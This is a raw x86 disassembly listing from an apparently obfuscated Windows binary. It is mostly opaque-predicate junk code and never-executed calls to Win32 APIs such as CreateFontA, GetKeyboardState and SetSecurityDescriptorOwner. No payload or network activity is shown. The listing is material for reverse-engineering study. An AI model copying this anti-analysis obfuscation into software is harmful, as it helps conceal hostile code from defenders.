mov dword [eax], 0x8a24e228
jmp 0x1003427d
cmp dword [ebp - 0x458], 0
jb 0x1003432b
mov eax, dword [ebp - 0x338]
dec eax
mov dword [ebp - 0x338], eax
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0xcc0], eax
mov eax, dword [ebp - 0xcc0]
mov dword [ebp - 0x1f8], eax
mov eax, 0x199e
sub eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x1f8]
sub ecx, eax
imul ecx, dword [ebp - 0xeec]
mov eax, dword [ebp - 0x120]
add eax, ecx
mov ecx, dword [ebp - 0x120]
imul ecx, eax
test ecx, ecx
je 0x1003431e
mov eax, 0xc6f0d4a7
test eax, eax
je 0x1003431e
mov dword [ebp - 0x8e8], 1
jmp 0x10034325
and dword [ebp - 0x8e8], 0
mov eax, dword [ebp - 0xc68]
mov eax, dword [ebp - 0x328]
mov dword [ebp - 0xef4], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0xe70], eax
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
mov eax, dword [ebp - 0xef4]
cmp eax, dword [ebp - 0xe70]
je 0x1003436a
mov dword [ebp - 0xae8], 1
jmp 0x10034371
and dword [ebp - 0xae8], 0
mov eax, dword [ebp - 0xae8]
mov dword [ebp - 0xf60], eax
mov eax, dword [ebp - 0x328]
mov dword [ebp - 0x13c8], eax
cmp dword [ebp - 0xbe8], 0
jne 0x100343a4
cmp dword [ebp - 0xaf0], 0
jne 0x100343a4
and dword [ebp - 0x8f0], 0
jmp 0x100343ae
mov dword [ebp - 0x8f0], 1
mov eax, dword [ebp - 0xe78]
cmp dword [ebp - 0x8f0], eax
jl 0x100343c8
mov dword [ebp - 0x8f8], 1
jmp 0x100343cf
and dword [ebp - 0x8f8], 0
mov eax, dword [ebp - 0xbe8]
imul eax, dword [ebp - 0x8f8]
add eax, dword [ebp - 0x102c]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x13d0], eax
mov eax, dword [ebp - 0xe80]
mov dword [ebp - 0x13d8], eax
mov eax, dword [ebp - 0xaf0]
mov dword [ebp - 0x900], eax
push 1
lea ecx, [ebp - 0x123c]
call fcn.1001bad7
mov ecx, dword [ebp - 0x900]
mov dword [eax], ecx
cmp dword [ebp - 0x900], 0
jne 0x10034433
cmp dword [ebp - 0xc68], 0
je 0x10034448
mov eax, 0x732bab2
test eax, eax
je 0x10034448
mov dword [ebp - 0x908], 1
jmp 0x1003444f
and dword [ebp - 0x908], 0
mov dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x1f8]
imul eax, dword [ebp - 0x458]
imul eax, dword [ebp - 0x908]
cmp eax, dword [ebp - 0x1f8]
je 0x10034481
mov dword [ebp - 0xaf8], 1
jmp 0x10034488
and dword [ebp - 0xaf8], 0
mov eax, dword [ebp - 0xaf8]
mov dword [ebp - 0x1f8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x123c]
call fcn.1001bab2
jmp 0x10034211
jmp 0x100344ce
mov byte [ebp - 0x148], 0
movzx eax, byte [ebp - 0x148]
test eax, eax
je 0x100344ce
push 0x41d
push 0xde4
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
mov dword [ebp - 0x120], 6
jmp 0x100344e7
mov eax, dword [ebp - 0x120]
dec eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 4
jg 0x10034602
mov dword [ebp - 0xf68], 0xecbc59a6
mov dword [ebp - 0x1d0], 0
jmp 0x10034517
mov eax, dword [ebp - 0x1d0]
dec eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0xfffffffb
jne 0x100345fd
push 3
lea ecx, [ebp - 0x11d0]
call fcn.1001ba30
mov dword [ebp - 4], 0x34
mov dword [ebp - 0x330], 0
jmp 0x10034551
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 3
jge 0x10034570
push dword [ebp - 0x330]
lea ecx, [ebp - 0x11d0]
call fcn.1001bad7
or dword [eax], 0xffffffff
jmp 0x10034544
mov eax, dword [ebp - 0xf68]
cmp eax, dword [ebp - 0x338]
jg 0x1003458a
mov dword [ebp - 0x910], 1
jmp 0x10034591
and dword [ebp - 0x910], 0
push 1
lea ecx, [ebp - 0x11d0]
call fcn.1001bad7
mov ecx, dword [ebp - 0x910]
mov dword [eax], ecx
mov byte [ebp - 0x189], 0
movzx eax, byte [ebp - 0x189]
test eax, eax
je 0x100345e9
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x21a9
push 0xc50
push 0x1723
push 0x23e8
push 0x277
call dword [sym.imp.GDI32.dll_CreateFontA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11d0]
call fcn.1001bab2
jmp 0x1003450a
jmp 0x100344da
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x34c], 0
jmp 0x10034624
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 3
jge 0x10034640
mov eax, dword [ebp - 0x34c]
mov dword [ebp + eax*4 - 0x10d8], 0x69fdf99f
jmp 0x10034617
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x10d8], 0
jmp 0x1003466e
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x10d8]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x10d8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x10d8], 0xb
je 0x1003469e
mov byte [ebp - 0x152], 0
movzx eax, byte [ebp - 0x152]
test eax, eax
je 0x1003469c
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
jmp 0x10034653
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x220]
mov edx, dword [ebp - 0x1d4]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x138], edx
mov dword [ebp - 0xcc], 0x9dada439
mov dword [ebp - 0x54], 0
jmp 0x100346d4
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 3
jge 0x100346ea
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0xc94], 1
jmp 0x100346cd
mov dword [ebp - 0x54], 0
jmp 0x100346fa
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 3
jge 0x10034710
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x129c], 0xffffffff
jmp 0x100346f3
mov dword [ebp - 0x54], 0
jmp 0x10034720
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 1
jge 0x10034736
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0xe90], 0xd5762cc6
jmp 0x10034719
mov byte [ebp - 0x14a], 0
movzx eax, byte [ebp - 0x14a]
test eax, eax
je 0x10034750
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov dword [ebp - 0xcc], 2
jmp 0x10034769
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jl 0x10034c71
mov dword [ebp - 0x78], 0xb3e90a62
mov dword [ebp - 0x928], 0x627e80a
push 2
lea ecx, [ebp - 0xfe4]
call fcn.1001ba30
mov dword [ebp - 4], 0x35
mov dword [ebp - 0x354], 0
jmp 0x100347b4
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 2
jge 0x100347d6
push dword [ebp - 0x354]
lea ecx, [ebp - 0xfe4]
call fcn.1001bad7
mov dword [eax], 1
jmp 0x100347a7
mov dword [ebp - 0x78], 0
jmp 0x100347e6
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jg 0x10034c39
mov dword [ebp - 0x460], 0xfffe
push 2
lea ecx, [ebp - 0xd30]
call fcn.1001ba30
mov byte [ebp - 4], 0x36
mov dword [ebp - 0x128], 7
mov dword [ebp - 0x35c], 0
jmp 0x1003482e
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 2
jge 0x10034850
push dword [ebp - 0x35c]
lea ecx, [ebp - 0xd30]
call fcn.1001bad7
mov dword [eax], 0x5e0710dd
jmp 0x10034821
mov eax, dword [ebp - 0x78]
sub eax, dword [ebp - 0x78]
cmp dword [ebp - 0x78], eax
jle 0x10034867
mov dword [ebp - 0xbf0], 1
jmp 0x1003486e
and dword [ebp - 0xbf0], 0
cmp dword [ebp - 0xbf0], 8
jae 0x10034883
mov dword [ebp - 0x918], 1
jmp 0x1003488a
and dword [ebp - 0x918], 0
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x918]
jne 0x100348a1
mov dword [ebp - 0x4a0], 1
jmp 0x100348a8
and dword [ebp - 0x4a0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc94]
mov dword [ebp - 0x460], eax
push 0
lea ecx, [ebp - 0xd30]
call fcn.1001bad7
mov ecx, dword [ebp - 0x4a0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x460]
cmp eax, dword [ebp - 0x4a0]
jl 0x100348f6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc94], 0
jne 0x100348f6
and dword [ebp - 0xb00], 0
jmp 0x10034900
mov dword [ebp - 0xb00], 1
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp + eax*4 - 0xc94]
cmp dword [ebp - 0xb00], eax
jl 0x10034921
mov dword [ebp - 0x920], 1
jmp 0x10034928
and dword [ebp - 0x920], 0
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp + eax*4 - 0xc94]
cmp eax, dword [ebp - 0x920]
jne 0x1003494f
cmp dword [ebp - 0xcc], 0
jne 0x1003494f
and dword [ebp - 0xc0c], 0
jmp 0x10034959
mov dword [ebp - 0xc0c], 1
mov eax, dword [ebp - 0x78]
add eax, dword [ebp - 0xc0c]
je 0x10034b69
mov dword [ebp - 0x46c], 0xec8f
push 1
lea ecx, [ebp - 0xd30]
call fcn.1001bad7
cmp dword [eax], 0
je 0x10034a6d
cmp dword [ebp - 0x460], 0
jne 0x100349ac
push 0
lea ecx, [ebp - 0xd30]
call fcn.1001bad7
cmp dword [eax], 0
jne 0x100349ac
and dword [ebp - 0xbf8], 0
jmp 0x100349b6
mov dword [ebp - 0xbf8], 1
mov eax, dword [ebp - 0x928]
cmp eax, dword [ebp - 0x928]
jle 0x100349d0
mov dword [ebp - 0xb08], 1
jmp 0x100349d7
and dword [ebp - 0xb08], 0
mov eax, dword [ebp - 0xb08]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
add eax, 0x441a7130
cmp eax, 0xfffffffd
jae 0x100349ff
mov dword [ebp - 0x930], 1
jmp 0x10034a06
and dword [ebp - 0x930], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc94]
cmp eax, dword [ebp - 0x930]
jge 0x10034a27
mov dword [ebp - 0xe88], 1
jmp 0x10034a2e
and dword [ebp - 0xe88], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0xbf8], eax
jl 0x10034a45
mov dword [ebp - 0x938], 1
jmp 0x10034a4c
and dword [ebp - 0x938], 0
cmp dword [ebp - 0x938], 0x8cbd
jg 0x10034a6d
cmp dword [ebp - 0x128], 0
je 0x10034a6d
mov dword [ebp - 0xb10], 1
jmp 0x10034a74
and dword [ebp - 0xb10], 0
push 0
lea ecx, [ebp - 0xfe4]
call fcn.1001bad7
mov ecx, dword [ebp - 0xb10]
mov dword [eax], ecx
mov esi, dword [ebp - 0x46c]
push 0
lea ecx, [ebp - 0xd30]
call fcn.1001bad7
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x13e0], eax
push 0
lea ecx, [ebp - 0xfe4]
call fcn.1001bad7
xor eax, eax
inc eax
je 0x10034acf
cmp dword [ebp - 0x46c], 0
je 0x10034acf
mov dword [ebp - 0x940], 1
jmp 0x10034ad6
and dword [ebp - 0x940], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc94]
cmp dword [ebp - 0x940], eax
je 0x10034b03
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc94], 0
jne 0x10034b03
and dword [ebp - 0x1004], 0
jmp 0x10034b0d
mov dword [ebp - 0x1004], 1
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x13e8], eax
cmp dword [ebp - 0x46c], 0x8160
jle 0x10034b31
mov dword [ebp - 0xc14], 1
jmp 0x10034b38
and dword [ebp - 0xc14], 0
cmp dword [ebp - 0xc14], 1
je 0x10034b4d
mov dword [ebp - 0x948], 1
jmp 0x10034b54
and dword [ebp - 0x948], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x948]
mov dword [ebp + eax - 0x129c], ecx
jmp 0x10034ba5
mov dword [ebp - 0x128], 0xffffffea
jmp 0x10034b82
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xa
jg 0x10034ba5
mov byte [ebp - 0x14c], 0
movzx eax, byte [ebp - 0x14c]
test eax, eax
je 0x10034ba3
call dword [sym.imp.USER32.dll_WaitMessage]
jmp 0x10034b75
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe90]
mov dword [ebp - 0x13f0], eax
cmp dword [ebp - 0xcc], 0
je 0x10034bca
mov eax, 0x5cd4dcd7
test eax, eax
jne 0x10034be6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc94], 0x6a8e
jl 0x10034be6
and dword [ebp - 0xf70], 0
jmp 0x10034bf0
mov dword [ebp - 0xf70], 1
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x13f8], eax
cmp dword [ebp - 0x78], 0
jne 0x10034c0b
mov dword [ebp - 0xb18], 1
jmp 0x10034c12
and dword [ebp - 0xb18], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb18]
mov dword [ebp + eax - 0x129c], ecx
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0xd30]
call fcn.1001bab2
jmp 0x100347df
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x129c], 0
je 0x10034c5d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfe4]
call fcn.1001bab2
jmp 0x1003475c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfe4]
call fcn.1001bab2
jmp 0x1003475c
mov eax, 0xffff
mov word [ebp - 0xe4], ax
mov dword [ebp - 0x98], 0xffffffff
mov dword [ebp - 0xea0], 0xcd7d393e
push 4
lea ecx, [ebp - 0x14b0]
call fcn.1001ba30
mov dword [ebp - 4], 0x37
mov dword [ebp - 0xd4], 0
jmp 0x10034cbe
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 3
jge 0x10034cda
mov eax, dword [ebp - 0xd4]
mov dword [ebp + eax*4 - 0x15cc], 0x4bcd76ce
jmp 0x10034cb1
mov dword [ebp - 0xd4], 0
jmp 0x10034cf3
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 4
jge 0x10034d15
push dword [ebp - 0xd4]
lea ecx, [ebp - 0x14b0]
call fcn.1001bad7
mov dword [eax], 0x42afa017
jmp 0x10034ce6
mov byte [ebp - 0x191], 0
movzx eax, byte [ebp - 0x191]
test eax, eax
je 0x10034d2f
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
cmp dword [ebp - 0x98], 0
je 0x10034dfc
cmp dword [ebp - 0x98], 0
jne 0x10034d57
cmp dword [ebp - 0x98], 0
jne 0x10034d57
and dword [ebp - 0x40c], 0
jmp 0x10034d61
mov dword [ebp - 0x40c], 1
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x40c]
mov dword [ebp + eax - 0x15cc], ecx
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x40c]
jne 0x10034d8d
mov dword [ebp - 0x950], 1
jmp 0x10034d94
and dword [ebp - 0x950], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x950], eax
jg 0x10034dae
mov dword [ebp - 0xc00], 1
jmp 0x10034db5
and dword [ebp - 0xc00], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0xc00], eax
jge 0x10034dcf
mov dword [ebp - 0xe98], 1
jmp 0x10034dd6
and dword [ebp - 0xe98], 0
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x1400], eax
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x98]
jge 0x10034dfc
mov dword [ebp - 0x958], 1
jmp 0x10034e03
and dword [ebp - 0x958], 0
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x958]
je 0x10034e1d
mov dword [ebp - 0x1024], 1
jmp 0x10034e24
and dword [ebp - 0x1024], 0
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x1408], eax
mov dword [ebp - 0xea0], 0xfffffff6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14b0]
call fcn.1001bab2
or dword [ebp - 0x1cc], 0xffffffff
push 2
lea ecx, [ebp - 0x4e4]
call fcn.1001ba30
mov dword [ebp - 4], 0x38
mov dword [ebp - 0x80], 0x2ee76f50
mov dword [ebp - 0xdc], 2
mov dword [ebp - 0x364], 0
jmp 0x10034e8e
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 2
jge 0x10034ead
push dword [ebp - 0x364]
lea ecx, [ebp - 0x4e4]
call fcn.1001bad7
or dword [eax], 0xffffffff
jmp 0x10034e81
mov dword [ebp - 0x80], 1
jmp 0x10034ebd
mov eax, dword [ebp - 0x80]
dec eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jl 0x10035332
mov dword [ebp - 0x130], 0xfffffffd
mov dword [ebp - 0x1b0], 0xffffffff
push dword [ebp - 0x80]
lea ecx, [ebp - 0x4e4]
call fcn.1001bad7
cmp dword [eax], 0
je 0x10034ef3
jmp 0x10035332
mov dword [ebp - 0x130], 0
jmp 0x10034f0c
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0xfffffff6
jg 0x1003532d
mov dword [ebp - 0x374], 0x4309642e
mov dword [ebp - 0x37c], 0xfffffffb
push 4
lea ecx, [ebp - 0x1090]
call fcn.1001ba30
mov byte [ebp - 4], 0x39
mov dword [ebp - 0x100c], 0
mov dword [ebp - 0x36c], 0
jmp 0x10034f61
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 4
jge 0x10034f80
push dword [ebp - 0x36c]
lea ecx, [ebp - 0x1090]
call fcn.1001bad7
and dword [eax], 0
jmp 0x10034f54
push 1
lea ecx, [ebp - 0x4e4]
call fcn.1001bad7
mov dword [ebp - 0xb20], eax
push 1
lea ecx, [ebp - 0x4e4]
call fcn.1001bad7
mov ecx, dword [ebp - 0xb20]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0xb20]
cmp eax, dword [ecx]
jg 0x10035051
push dword [ebp - 0x80]
lea ecx, [ebp - 0x4e4]
call fcn.1001bad7
mov eax, dword [eax]
mov dword [ebp - 0x37c], eax
mov esi, dword [ebp - 0xdc]
mov edi, dword [ebp - 0x37c]
push 1
lea ecx, [ebp - 0x1090]
call fcn.1001bad7
imul edi, dword [eax]
cmp edi, esi
je 0x10035000
mov dword [ebp - 0xf78], 1
jmp 0x10035007
and dword [ebp - 0xf78], 0
mov eax, dword [ebp - 0x374]
dec eax
mov dword [ebp - 0x374], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x1410], eax
cmp dword [ebp - 0x374], 0
je 0x1003503e
mov eax, 0xdf0442e1
test eax, eax
je 0x1003503e
mov dword [ebp - 0x960], 1
jmp 0x10035045
and dword [ebp - 0x960], 0
cmp dword [ebp - 0x960], 0xc5c6
jg 0x10035066
cmp dword [ebp - 0xdc], 0
je 0x10035066
mov dword [ebp - 0x5dc], 1
jmp 0x1003506d
and dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x5dc], eax
jl 0x10035087
mov dword [ebp - 0x5e4], 1
jmp 0x1003508e
and dword [ebp - 0x5e4], 0
cmp dword [ebp - 0x5e4], 0xffffffff
jne 0x100350a3
mov dword [ebp - 0x5ec], 1
jmp 0x100350aa
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x130]
add eax, dword [ebp - 0x5ec]
cmp eax, dword [ebp - 0xdc]
jle 0x100350cd
cmp dword [ebp - 0x80], 0
jne 0x100350cd
and dword [ebp - 0xea8], 0
jmp 0x100350d7
mov dword [ebp - 0xea8], 1
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x1510], eax
cmp dword [ebp - 0xdc], 0
je 0x1003528c
mov dword [ebp - 0x4f4], 0xffffffff
mov dword [ebp - 0x634], 0x5df5b04c
push dword [ebp - 0x80]
lea ecx, [ebp - 0x4e4]
call fcn.1001bad7
cmp dword [eax], 0
jne 0x10035126
cmp dword [ebp - 0x80], 0
jne 0x10035126
and dword [ebp - 0x5f4], 0
jmp 0x10035130
mov dword [ebp - 0x5f4], 1
cmp dword [ebp - 0x5f4], 0xa019
jl 0x10035148
mov dword [ebp - 0x62c], 1
jmp 0x1003514f
and dword [ebp - 0x62c], 0
xor eax, eax
jne 0x100351aa
push 1
lea ecx, [ebp - 0x1090]
call fcn.1001bad7
cmp dword [eax], 0
je 0x10035171
mov dword [ebp - 0x5fc], 1
jmp 0x10035178
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x5fc], eax
jle 0x1003518f
mov dword [ebp - 0x604], 1
jmp 0x10035196
and dword [ebp - 0x604], 0
mov esi, dword [ebp - 0x4f4]
push dword [ebp - 0x80]
lea ecx, [ebp - 0x4e4]
call fcn.1001bad7
push dword [ebp - 0x80]
lea ecx, [ebp - 0x4e4]
call fcn.1001bad7
cmp dword [eax], 0
je 0x100351d0
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x100351d0
mov dword [ebp - 0x60c], 1
jmp 0x100351d7
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x634]
cmp dword [ebp - 0x60c], eax
jne 0x100351f1
mov dword [ebp - 0x614], 1
jmp 0x100351f8
and dword [ebp - 0x614], 0
cmp dword [ebp - 0x614], 0xd0615a03
ja 0x10035210
mov dword [ebp - 0x61c], 1
jmp 0x10035217
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x100c]
cmp dword [ebp - 0x61c], eax
je 0x10035231
mov dword [ebp - 0x624], 1
jmp 0x10035238
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x624]
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x37c], eax
mov eax, dword [ebp - 0x37c]
imul eax, dword [ebp - 0x62c]
sub eax, dword [ebp - 0x634]
cmp eax, dword [ebp - 0x4f4]
jge 0x10035277
mov dword [ebp - 0x644], 1
jmp 0x1003527e
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0x644]
mov dword [ebp - 0xdc], eax
jmp 0x100352e0
mov dword [ebp - 0xeb0], 0xa83b
mov dword [ebp - 0xdc], 0
jmp 0x100352af
mov eax, dword [ebp - 0xdc]
dec eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0xfffffffd
je 0x100352e0
mov byte [ebp - 0x14e], 0
movzx eax, byte [ebp - 0x14e]
test eax, eax
je 0x100352d4
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
mov dword [ebp - 0xeb0], 0x18e961ca
jmp 0x100352a2
mov dword [ebp - 0x1b0], 0
jmp 0x100352f9
mov eax, dword [ebp - 0x1b0]
dec eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0xffffffeb
jg 0x10035319
mov dword [ebp - 0xf80], 0
cmp dword [ebp - 0xf80], 0
je 0x10035317
jmp 0x10035319
jmp 0x100352ec
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x1090]
call fcn.1001bab2
jmp 0x10034eff
jmp 0x10034eb6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4e4]
call fcn.1001bab2
cmp dword [ebp + 0x10], 0
jbe 0x100358b8
mov dword [ebp - 0x1b4], 0xfff6
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1b4], 0
jmp 0x1003537b
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x29
jl 0x100353a4
mov byte [ebp - 0x1a3], 0
movzx eax, byte [ebp - 0x1a3]
test eax, eax
je 0x100353a2
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
jmp 0x1003536e
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x100358b3
mov dword [ebp - 0x34], 0xa439beb0
mov dword [ebp - 0xec], 2
mov dword [ebp - 0x1518], 0xc3f121f2
mov dword [ebp - 0xec0], 0x39fa237f
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x34]
je 0x10035610
mov dword [ebp - 0x38c], 0xfffffff8
mov dword [ebp - 0x200], 0
mov dword [ebp - 0x68c], 1
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38c], eax
mov dword [ebp - 0x34], 0
jmp 0x1003541e
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x11
jl 0x1003560b
mov dword [ebp - 0x394], 1
mov dword [ebp - 0x384], 0xffffffff
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0
jne 0x1003546d
mov dword [ebp - 0xec], 0xfffa
cmp dword [ebp - 0xec], 0
jne 0x1003546d
and dword [ebp - 0x64c], 0
jmp 0x10035477
mov dword [ebp - 0x64c], 1
mov dword [ebp - 0x200], 1
cmp dword [ebp - 0x200], 0x74ca
jle 0x10035499
mov dword [ebp - 0x654], 1
jmp 0x100354a0
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x64c]
cmp eax, dword [ebp - 0x654]
jg 0x100354ba
mov dword [ebp - 0x65c], 1
jmp 0x100354c1
and dword [ebp - 0x65c], 0
cmp dword [ebp - 0x65c], 0x94ff
je 0x100354d9
mov dword [ebp - 0x664], 1
jmp 0x100354e0
and dword [ebp - 0x664], 0
mov eax, dword [ebp - 0x384]
imul eax, dword [ebp - 0x664]
cmp eax, dword [ebp - 0x384]
jg 0x10035501
mov dword [ebp - 0x66c], 1
jmp 0x10035508
and dword [ebp - 0x66c], 0
cmp dword [ebp - 0x66c], 0xe418a527
jb 0x10035520
mov dword [ebp - 0x674], 1
jmp 0x10035527
and dword [ebp - 0x674], 0
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x674]
mov dword [ebp - 0x68c], eax
imul eax, dword [ebp - 0x38c], 0xfffffffb
add eax, dword [ebp - 0x384]
je 0x1003555a
cmp dword [ebp - 0x38c], 0
je 0x1003555a
mov dword [ebp - 0x67c], 1
jmp 0x10035561
and dword [ebp - 0x67c], 0
mov eax, dword [ebp - 0x67c]
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x1520], eax
mov eax, 0xa7c
test eax, eax
je 0x100355a1
mov dword [ebp - 0xec], 0x23c5
cmp dword [ebp - 0xec], 0
je 0x100355a1
mov dword [ebp - 0x684], 1
jmp 0x100355a8
and dword [ebp - 0x684], 0
cmp dword [ebp - 0x200], 0
jge 0x100355bd
mov dword [ebp - 0xeb8], 1
jmp 0x100355c4
and dword [ebp - 0xeb8], 0
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x12bc], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1530], eax
mov eax, dword [ebp - 0x200]
cmp dword [ebp - 0x684], eax
jg 0x100355f3
mov dword [ebp - 0x1044], 1
jmp 0x100355fa
and dword [ebp - 0x1044], 0
mov eax, dword [ebp - 0x68c]
mov dword [ebp - 0x394], eax
jmp 0x10035417
jmp 0x100358a8
mov dword [ebp - 0x1538], 0x6269
mov dword [ebp - 0x694], 0x5a1ec8f9
mov dword [ebp - 0xbc], 0
jmp 0x1003563d
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
jge 0x10035659
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x414], 0xffffffff
jmp 0x10035630
mov dword [ebp - 0xbc], 0
jmp 0x10035672
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 2
jge 0x1003568e
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0xe48], 0xeaadaf8
jmp 0x10035665
mov eax, dword [ebp - 0x694]
inc eax
mov dword [ebp - 0x694], eax
mov dword [ebp - 0xec], 0
jmp 0x100356b4
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
